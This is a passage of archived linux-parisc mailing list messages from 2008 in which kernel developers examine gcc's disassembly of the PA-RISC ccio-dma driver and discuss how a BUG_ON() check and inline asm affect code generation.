 204:   d2 73 1a 74     extrw,u r19,19,12,r19
 208:   08 1a 02 5c     copy r26,ret0 
 20c:   d7 93 0e 14     depw r19,15,12,ret0
 210:   0e dc 12 80     stw ret0,0(r22)
 214:   06 c0 12 80     fdc r0(r22)
 218:   00 00 04 00     sync
[snip]
 
My worry is the number of insn between the ldi 0,r26 and the mtsp r26,sr1.

Here, I supposed it's harmless but may be different in other critical path?

Wouldn't it be interesting (if possible) to insure that the load of the reg
and mtsp stay close together? (or may be simply detect the case of a const == 0?)

What your opinion?

Tx again,
    J.

PS: I didn't find back gcc-4.0 to check if my previous perf test could failed
for this reason?



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(), BUG_ON() seems to break gcc-4.2
	optimization?
Date: Thu, 19 Jun 2008 10:04:41 -0600
Lines: 116
Approved: news@gmane.org
Message-ID: <20080619160441.GA6049@colo.lackof.org>
References: <48550D05.2060501@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213891522 6534 80.91.229.12 (19 Jun 2008 16:05:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Jun 2008 16:05:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 19 18:06:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9Me6-00052C-4A
	for glpp-linux-parisc@gmane.org; Thu, 19 Jun 2008 18:05:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754152AbYFSQFG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Jun 2008 12:05:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754173AbYFSQFG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Jun 2008 12:05:06 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:34808 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754152AbYFSQFE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Jun 2008 12:05:04 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 871496F8031;
	Thu, 19 Jun 2008 10:05:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07668-02; Thu, 19 Jun 2008 10:04:51 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5B71E6F8032; Thu, 19 Jun 2008 10:04:41 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <48550D05.2060501@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/428>

On Sun, Jun 15, 2008 at 12:37:25PM +0000, rubisher wrote:
> Hello all,
>
> looking at this hunk:
> void CCIO_INLINE
> ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
>                    unsigned long hints)
> {
>         register unsigned long pa;
>         register unsigned long ci; /* coherent index */
>
>         /* We currently only support kernel addresses */
>         BUG_ON(sid != KERNEL_SPACE);
...
> and I noticed that resulting code looks like:
>    0:   cb 39 a0 60     movb,<> r25,r25,38 <ccio_io_pdir_entry+0x38>
>    4:   34 1c 00 00     ldi 0,ret0

The BUG_ON is causing the movb to be inserted. And then the compiler knows
the value is zero and can either copy from a register or "load immediate 0".
It probably chose the "ldi 0" because it avoids register interlocks and
can always be executed.

The movb will either branch to +0x38 (and nullifies the delay slot)
or execute the ldi. So it looks right to me.

BTW, I think the BUG_ON can go away. It's good for debugging but doesn't
need to be in every kernel.

...
> And my worry was about lines 4: and 8:.
> According to the C code, I don't understand why optimization want to 
> initialize sr1 to 0 while it should be set to r25 (i.e. arg1)?

Does the BUG_ON explaination make sense to you?

>
> Otoh, the sba botherhood code didn't showing the same behaviour:
>    0:   22 a0 0e 01     ldil L%-10000000,r21
>    4:   34 1c 00 00     ldi 0,ret0
>    8:   34 1d 20 01     ldi -1000,ret1
>    c:   0a b8 0a 15     add,l r24,r21,r21
>   10:   08 15 02 56     copy r21,r22
>   14:   34 15 00 00     ldi 0,r21
>   18:   0b 95 02 15     and r21,ret0,r21
>   1c:   0b b6 02 16     and r22,ret1,r22
>   20:   00 19 58 20     mtsp r25,sr1
>   24:   07 00 53 13     lci r0(sr1,r24),r19
>   28:   d2 73 1a 6c     extrw,u r19,19,20,r19
>   2c:   23 80 00 01     ldil L%-80000000,ret0
>   30:   34 1d 00 00     ldi 0,ret1
>
> but didn't start with BUG_ON(),

Right. That should be a clue. :)

hth,
grant

> I simply try to remove this from ccio code 
> and get a better result:
> 00000000 <ccio_io_pdir_entry>:
>    0:   00 19 58 20     mtsp r25,sr1
>    4:   23 80 0e 01     ldil L%-10000000,ret0
>    8:   0b 98 0a 1c     add,l r24,ret0,ret0
>    c:   d7 97 0c 14     depw r23,31,12,ret0
>   10:   0f 5c 12 88     stw ret0,4(r26)
>   14:   07 00 53 18     lci r0(sr1,r24),r24
>   18:   d3 18 1a 74     extrw,u r24,19,12,r24
>   1c:   34 1c 00 00     ldi 0,ret0
>   20:   d7 98 0e 14     depw r24,15,12,ret0
>   24:   0f 5c 12 80     stw ret0,0(r26)
>   28:   07 40 12 80     fdc r0(r26)
>   2c:   00 00 04 00     sync
>   30:   e8 40 c0 02     bv,n r0(rp)
> Disassembly of section .init.text:
>
> But this time, it seems not consider assembly:
>         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r" (vba));
>         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
>         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));
>
> as a 'volatile' block and insert line 1c:
> This could may be solved by re-write as an one 'volatile' asm block like:
> 	asm volatile (
> 	"lci %%r0(%%sr1, %1), %1"
> 	"\textru        %1,19,12,%1\n"
> 	"\tdepw         %1,15,12,%0\n"
> 	: "=r" (pa)
> 	: "r" (vba));
>
> and even add a clobber 'memory'
> 	asm volatile (
> 	"lci %%r0(%%sr1, %1), %1"
> 	"\textru        %1,19,12,%1\n"
> 	"\tdepw         %1,15,12,%0\n"
> 	: "=r" (pa)
> 	: "r" (vba)
> 	: "memory");
>
> But I have no clue how to restore BUG_ON() and avoid wrong optimization?
>
> Any idea?
>
> Tia,
> 	r.
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another inline asm worry: mtsp() macro (and may be other)?
Date: Thu, 19 Jun 2008 10:11:51 -0600
Lines: 118
Approved: news@gmane.org
Message-ID: <20080619161151.GB6049@colo.lackof.org>
References: <K2PKFI$6B7F5B0E10C229208B934B9E4E289468@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213891938 11060 80.91.229.12 (19 Jun 2008 16:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Jun 2008 16:12:18 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	grundler <grundler@parisc-linux.org>, kyle <kyle@mcmartin.ca>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 19 18:13:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9Mkp-0000KP-4u
	for glpp-linux-parisc@gmane.org; Thu, 19 Jun 2008 18:12:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754157AbYFSQMD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Jun 2008 12:12:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754704AbYFSQMD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Jun 2008 12:12:03 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:34895 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754157AbYFSQMC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Jun 2008 12:12:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CA9106F8032;
	Thu, 19 Jun 2008 10:12:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08501-01; Thu, 19 Jun 2008 10:11:51 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 513576F802D; Thu, 19 Jun 2008 10:11:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <K2PKFI$6B7F5B0E10C229208B934B9E4E289468@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:429
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/429>

On Thu, Jun 19, 2008 at 12:40:30PM +0100, Joel Soete wrote:
> Hello all,
> 
> Grant, in a first approach I would like to address this post to you because
> all start from ccio-dma (again yes) when I figure out that in fact gcc-4.2 rob
> a part this driver code???
..
> 
> My first worry was about the form takes the resulting code of <ccio_io_pdir_entry>
> for remind:
>     0:   cb 39 a0 60     movb,<> r25,r25,38 <ccio_io_pdir_entry+0x38>
>     4:   34 1c 00 00     ldi 0,ret0
...
> The question was why sr1 is always set to 0 when it's actualy a function
> parameter (iirc 2d arg i.e. r25?)
> 
> Fwiw removing BUG_ON() seems to fix this issue?

Yes. I just replied to your previous mail.

> btw as far as it must be KERNEL_SPACE, couldn't we simplify stuff: removing
> sid parameter and replace mtsp macro call with a simple asm volatile("mtsp
> %%r0,%%sr1":::"memory")?

We could. But I thought there are cases were we might want to DMA to/from
user space directly and that's why Space ID is a parameter. My guess is
we are creating a kernel alias for user space and using the alias instead.
If that's correct and is the long term plan, we could remove the "sid"
parameter.

hth,
grant

> Then I look for all the call to function (ccio_io_pdir_entry) even thought
> it's inligned with those mtsp and lci it would be easy to find it.
> The C code learn me that it would call in ccio_map_single() and thanks with
> iommu_helper.h in ccio_map_sg(). But objdump -D ccio-dma.o shows me only one
> place where this code is used
> 00000000 <ccio_map_single>:
> [snip]
>   84:   34 14 00 00     ldi 0,r20
>   88:   00 14 58 20     mtsp r20,sr1
>   8c:   0a a3 0a 13     add,l r3,r21,r19
>   90:   d6 65 0c 14     depw r5,31,12,r19
>   94:   0f 53 12 88     stw r19,4(r26)
>   98:   04 60 53 1c     lci r0(sr1,r3),ret0
>   9c:   d3 9c 1a 74     extrw,u ret0,19,12,ret0
>   a0:   d6 9c 0e 14     depw ret0,15,12,r20
>   a4:   0f 54 12 80     stw r20,0(r26)
>   a8:   07 40 12 80     fdc r0(r26)
>   ac:   00 00 04 00     sync
> [snip]
> 
> and not in ccio_map_sg() (even not a call to ccio_io_pdir_entry() in case he
> didn't reach to inline it).
> 
> And the wonder is that my system d380 is even booting and running despite this
> lake???
> 
> That said with gcc-4.3, I find well this code iin the 2 functions.
> And here commes my worry about mtsp() macro: here is the resulting code with
> gcc-4.3:
> 00000000 <ccio_map_sg>:
> [snip]
> __ 1a0:   34 1a 00 00     ldi 0,r26__
>  1a4:   20 a0 02 00     ldil L%10000000,r5
>  1a8:   8e 80 61 28     cmpib,> 0,r20,244 <ccio_map_sg+0x244>
>  1ac:   20 40 0e 01     ldil L%-10000000,rp
>  1b0:   86 c0 21 88     cmpib,= 0,r22,27c <ccio_map_sg+0x27c>
>  1b4:   34 19 00 00     ldi 0,r25
>  1b8:   0f e0 10 9c     ldw 0(r31),ret0
>  1bc:   0d 80 10 94     ldw 0(r12),r20
>  1c0:   d7 80 1c 1e     depwi 0,31,2,ret0
>  1c4:   4b b3 00 20     ldw 10(ret1),r19
>  1c8:   0a 9c 04 1c     sub ret0,r20,ret0
>  1cc:   0f f0 10 95     ldw 8(r31),r21
>  1d0:   d3 9c 1f 45     extrw,s ret0,26,27,ret0
>  1d4:   0a b3 0a 13     add,l r19,r21,r19
>  1d8:   d7 9c 09 8c     depw,z ret0,19,20,ret0
>  1dc:   0f e8 10 94     ldw 4(r31),r20
>  1e0:   08 bc 0a 1c     add,l ret0,r5,ret0
>  1e4:   6b b3 00 20     stw r19,10(ret1)
>  1e8:   0a b9 0a 15     add,l r25,r21,r21
>  1ec:   0a 9c 0a 14     add,l ret0,r20,r20
> __ 1f0:   00 1a 58 20     mtsp r26,sr1  __
>  1f4:   08 54 0a 1c     add,l r20,rp,ret0
>  1f8:   d7 8e 0c 14     depw r14,31,12,ret0
>  1fc:   0e dc 12 88     stw ret0,4(r22)
>  200:   06 80 53 13     lci r0(sr1,r20),r19
>  204:   d2 73 1a 74     extrw,u r19,19,12,r19
>  208:   08 1a 02 5c     copy r26,ret0
>  20c:   d7 93 0e 14     depw r19,15,12,ret0
>  210:   0e dc 12 80     stw ret0,0(r22)
>  214:   06 c0 12 80     fdc r0(r22)
>  218:   00 00 04 00     sync
> [snip]
> 
> My worry is the number of insn between the ldi 0,r26 and the mtsp r26,sr1.
> 
> Here, I supposed it's harmless but may be different in other critical path?
> 
> Wouldn't it be interesting (if possible) to insure that the load of the reg
> and mtsp stay close together? (or may be simply detect the case of a const == 0?)
> 
> What your opinion?
> 
> Tx again,
>     J.
> 
> PS: I didn't find back gcc-4.0 to check if my previous perf test could failed
> for this reason?
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(), BUG_ON() seems to break gcc-4.2	optimization?
Date: Thu, 19 Jun 2008 19:44:43 +0000
Lines: 130
Approved: news@gmane.org
Message-ID: <485AB72B.2090304@scarlet.be>
References: <48550D05.2060501@scarlet.be> <20080619160441.GA6049@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213904757 3409 80.91.229.12 (19 Jun 2008 19:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Jun 2008 19:45:57 +0000 (UTC)
Cc: rubisher <rubisher@scarlet.be>, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 19 21:46:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9Q5W-0006kI-Ph
	for glpp-linux-parisc@gmane.org; Thu, 19 Jun 2008 21:46:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750792AbYFSTpj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Jun 2008 15:45:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750830AbYFSTpj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Jun 2008 15:45:39 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:47991 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750792AbYFSTpi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Jun 2008 15:45:38 -0400
Original-Received: from [213.49.81.227] (ip-213-49-81-227.dsl.scarlet.be [213.49.81.227])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5JJiiIW004839;
	Thu, 19 Jun 2008 21:44:45 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080619160441.GA6049@colo.lackof.org>
X-DCC-scarlet.be-Metrics: eir 20001; Body=4 Fuz1=4 Fuz2=4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/430>



Grant Grundler wrote:
> On Sun, Jun 15, 2008 at 12:37:25PM +0000, rubisher wrote:
>> Hello all,
>>
>> looking at this hunk:
>> void CCIO_INLINE
>> ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
>>                    unsigned long hints)
>> {
>>         register unsigned long pa;
>>         register unsigned long ci; /* coherent index */
>>
>>         /* We currently only support kernel addresses */
>>         BUG_ON(sid != KERNEL_SPACE);
> ...
>> and I noticed that resulting code looks like:
>>    0:   cb 39 a0 60     movb,<> r25,r25,38 <ccio_io_pdir_entry+0x38>
>>    4:   34 1c 00 00     ldi 0,ret0
> 
> The BUG_ON is causing the movb to be inserted. And then the compiler knows
> the value is zero and can either copy from a register or "load immediate 0".
> It probably chose the "ldi 0" because it avoids register interlocks and
> can always be executed.
> 
> The movb will either branch to +0x38 (and nullifies the delay slot)
> or execute the ldi. So it looks right to me.
> 
> BTW, I think the BUG_ON can go away. It's good for debugging but doesn't
> need to be in every kernel.
> 
> ...
>> And my worry was about lines 4: and 8:.
>> According to the C code, I don't understand why optimization want to 
>> initialize sr1 to 0 while it should be set to r25 (i.e. arg1)?
> 
> Does the BUG_ON explaination make sense to you?
> 
Well I nerver imagine that a compiler can make proof of this kind of induction spirit ;-) but that's give the sense, tx.

>> Otoh, the sba botherhood code didn't showing the same behaviour:
>>    0:   22 a0 0e 01     ldil L%-10000000,r21
>>    4:   34 1c 00 00     ldi 0,ret0
>>    8:   34 1d 20 01     ldi -1000,ret1
>>    c:   0a b8 0a 15     add,l r24,r21,r21
>>   10:   08 15 02 56     copy r21,r22
>>   14:   34 15 00 00     ldi 0,r21
>>   18:   0b 95 02 15     and r21,ret0,r21
>>   1c:   0b b6 02 16     and r22,ret1,r22
>>   20:   00 19 58 20     mtsp r25,sr1
>>   24:   07 00 53 13     lci r0(sr1,r24),r19
>>   28:   d2 73 1a 6c     extrw,u r19,19,20,r19
>>   2c:   23 80 00 01     ldil L%-80000000,ret0
>>   30:   34 1d 00 00     ldi 0,ret1
>>
>> but didn't start with BUG_ON(),
> 
> Right. That should be a clue. :)
> 
> hth,
> grant
> 
Tx again,
	J.

ps: ccio_io_pdir_entry() seems to works fine without BUG_ON().
>> I simply try to remove this from ccio code 
>> and get a better result:
>> 00000000 <ccio_io_pdir_entry>:
>>    0:   00 19 58 20     mtsp r25,sr1
>>    4:   23 80 0e 01     ldil L%-10000000,ret0
>>    8:   0b 98 0a 1c     add,l r24,ret0,ret0
>>    c:   d7 97 0c 14     depw r23,31,12,ret0
>>   10:   0f 5c 12 88     stw ret0,4(r26)
>>   14:   07 00 53 18     lci r0(sr1,r24),r24
>>   18:   d3 18 1a 74     extrw,u r24,19,12,r24
>>   1c:   34 1c 00 00     ldi 0,ret0
>>   20:   d7 98 0e 14     depw r24,15,12,ret0
>>   24:   0f 5c 12 80     stw ret0,0(r26)
>>   28:   07 40 12 80     fdc r0(r26)
>>   2c:   00 00 04 00     sync
>>   30:   e8 40 c0 02     bv,n r0(rp)
>> Disassembly of section .init.text:
>>
>> But this time, it seems not consider assembly:
>>         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r" (vba));
>>         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
>>         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));
>>
>> as a 'volatile' block and insert line 1c:
>> This could may be solved by re-write as an one 'volatile' asm block like:
>> 	asm volatile (
>> 	"lci %%r0(%%sr1, %1), %1"
>> 	"\textru        %1,19,12,%1\n"
>> 	"\tdepw         %1,15,12,%0\n"
>> 	: "=r" (pa)
>> 	: "r" (vba));
>>
>> and even add a clobber 'memory'
>> 	asm volatile (
>> 	"lci %%r0(%%sr1, %1), %1"
>> 	"\textru        %1,19,12,%1\n"
>> 	"\tdepw         %1,15,12,%0\n"
>> 	: "=r" (pa)
>> 	: "r" (vba)
>> 	: "memory");
>>
>> But I have no clue how to restore BUG_ON() and avoid wrong optimization?
>>
>> Any idea?
>>
>> Tia,
>> 	r.
>>
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another inline asm worry: mtsp() macro (and may be other)?
Date: Thu, 19 Jun 2008 20:01:02 +0000
Lines: 141
Approved: news@gmane.org
Message-ID: <485ABAFE.2010504@scarlet.be>
References: <K2PKFI$6B7F5B0E10C229208B934B9E4E289468@scarlet.be> <20080619161151.GB6049@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213905725 6801 80.91.229.12 (19 Jun 2008 20:02:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Jun 2008 20:02:05 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>, kyle <kyle@mcmartin.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 19 22:02:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9QLI-00048h-EW
	for glpp-linux-parisc@gmane.org; Thu, 19 Jun 2008 22:02:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750792AbYFSUB5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Jun 2008 16:01:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750837AbYFSUB5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Jun 2008 16:01:57 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:54964 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750792AbYFSUB4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Jun 2008 16:01:56 -0400
Original-Received: from [213.49.81.227] (ip-213-49-81-227.dsl.scarlet.be [213.49.81.227])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5JK13kC011676;
	Thu, 19 Jun 2008 22:01:04 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080619161151.GB6049@colo.lackof.org>
X-DCC-scarlet.be-Metrics: sif 20001; Body=5 Fuz1=5 Fuz2=5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/431>



Grant Grundler wrote:
> On Thu, Jun 19, 2008 at 12:40:30PM +0100, Joel Soete wrote:
>> Hello all,
>>
>> Grant, in a first approach I would like to address this post to you because
>> all start from ccio-dma (again yes) when I figure out that in fact gcc-4.2 rob
>> a part this driver code???
> ..
>> My first worry was about the form takes the resulting code of <ccio_io_pdir_entry>
>> for remind:
>>     0:   cb 39 a0 60     movb,<> r25,r25,38 <ccio_io_pdir_entry+0x38>
>>     4:   34 1c 00 00     ldi 0,ret0
> ...
>> The question was why sr1 is always set to 0 when it's actualy a function
>> parameter (iirc 2d arg i.e. r25?)
>>
>> Fwiw removing BUG_ON() seems to fix this issue?
> 
> Yes. I just replied to your previous mail.
> 
yes.

>> btw as far as it must be KERNEL_SPACE, couldn't we simplify stuff: removing
>> sid parameter and replace mtsp macro call with a simple asm volatile("mtsp
>> %%r0,%%sr1":::"memory")?
> 
> We could. But I thought there are cases were we might want to DMA to/from
> user space directly and that's why Space ID is a parameter.

Ok but it was a BUG if temporary space reg is not 0, so???

> My guess is
> we are creating a kernel alias for user space and using the alias instead.
> If that's correct and is the long term plan, we could remove the "sid"
> parameter.
> 

Nice to me.
btw system seems to boot too with asm volatile("mtsp %%r0,%%sr1":::"memory")
may be the cpp can catch in the mtsp(gr, cr) macro if gr==0 then I can use this insn if not the original macro???

Tx again,
	j.


> hth,
> grant
> 
>> Then I look for all the call to function (ccio_io_pdir_entry) even thought
>> it's inligned with those mtsp and lci it would be easy to find it.
>> The C code learn me that it would call in ccio_map_single() and thanks with
>> iommu_helper.h in ccio_map_sg(). But objdump -D ccio-dma.o shows me only one
>> place where this code is used
>> 00000000 <ccio_map_single>:
>> [snip]
>>   84:   34 14 00 00     ldi 0,r20
>>   88:   00 14 58 20     mtsp r20,sr1
>>   8c:   0a a3 0a 13     add,l r3,r21,r19
>>   90:   d6 65 0c 14     depw r5,31,12,r19
>>   94:   0f 53 12 88     stw r19,4(r26)
>>   98:   04 60 53 1c     lci r0(sr1,r3),ret0
>>   9c:   d3 9c 1a 74     extrw,u ret0,19,12,ret0
>>   a0:   d6 9c 0e 14     depw ret0,15,12,r20
>>   a4:   0f 54 12 80     stw r20,0(r26)
>>   a8:   07 40 12 80     fdc r0(r26)
>>   ac:   00 00 04 00     sync
>> [snip]
>>
>> and not in ccio_map_sg() (even not a call to ccio_io_pdir_entry() in case he
>> didn't reach to inline it).
>>
>> And the wonder is that my system d380 is even booting and running despite this
>> lake???
>>
>> That said with gcc-4.3, I find well this code iin the 2 functions.
>> And here commes my worry about mtsp() macro: here is the resulting code with
>> gcc-4.3:
>> 00000000 <ccio_map_sg>:
>> [snip]
>> __ 1a0:   34 1a 00 00     ldi 0,r26__
>>  1a4:   20 a0 02 00     ldil L%10000000,r5
>>  1a8:   8e 80 61 28     cmpib,> 0,r20,244 <ccio_map_sg+0x244>
>>  1ac:   20 40 0e 01     ldil L%-10000000,rp
>>  1b0:   86 c0 21 88     cmpib,= 0,r22,27c <ccio_map_sg+0x27c>
>>  1b4:   34 19 00 00     ldi 0,r25
>>  1b8:   0f e0 10 9c     ldw 0(r31),ret0
>>  1bc:   0d 80 10 94     ldw 0(r12),r20
>>  1c0:   d7 80 1c 1e     depwi 0,31,2,ret0
>>  1c4:   4b b3 00 20     ldw 10(ret1),r19
>>  1c8:   0a 9c 04 1c     sub ret0,r20,ret0
